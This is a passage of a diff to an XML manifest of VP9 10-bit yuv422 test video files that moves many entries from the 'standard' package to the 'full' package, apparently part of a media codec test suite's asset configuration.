+    <value>mime=video/x-vnd.on2.vp9,size=87495,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85459,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85459,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=94429,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=94429,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70049,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70049,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=91138,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=91138,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=399849,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=399849,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=17903425,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3055571,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33288,7 +33288,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=17903425,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1606323,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33297,253 +33297,253 @@
     <value>mime=video/x-vnd.on2.vp9,size=895629,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=429801,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=429801,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=674950,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=674950,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=193357,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=193357,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81041,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81041,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17726,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17726,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87330,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87330,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87328,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87328,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87493,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87493,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87438,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87438,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87348,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87348,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87324,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87324,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87397,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87397,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=74652,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=74652,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1024x1024p50f32_2000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164948,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164948,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1024x576p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88026,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88026,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1024x768p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=120561,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=120561,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1080x1440p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=274079,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=274079,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1080x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21826,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21826,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1080x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=332345,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=332345,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1080x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19929,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19929,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1088x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=333077,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=333077,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1152x2048p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=381316,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=381316,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1280x1280p50f32_3200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=266575,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=266575,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1280x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21578,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21578,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1280x1920p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=400637,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=400637,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1280x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20698,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20698,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1280x720p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=144542,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=144542,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1280x960p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=205435,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=205435,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_128x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21383,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21383,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_128x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20888,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20888,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_128x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22306,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22306,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_128x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23178,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23178,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1440x1080p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=268798,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=268798,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1440x1440p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=342020,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=342020,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1440x1920p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=448866,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=448866,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1440x2560p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=660548,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=660548,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1440x960p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=231876,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=231876,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_144x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21375,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21375,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_144x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20878,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20878,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_144x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20669,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20669,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_144x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19769,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19769,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_144x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23244,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23244,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1536x2048p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=501452,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=501452,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_160x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19550,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19550,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_16x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=179334,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=179334,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_16x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=218320,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=218320,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_16x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=9798,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=9798,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_16x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=401848,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=401848,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_16x720p50f32_200kbps.webm">
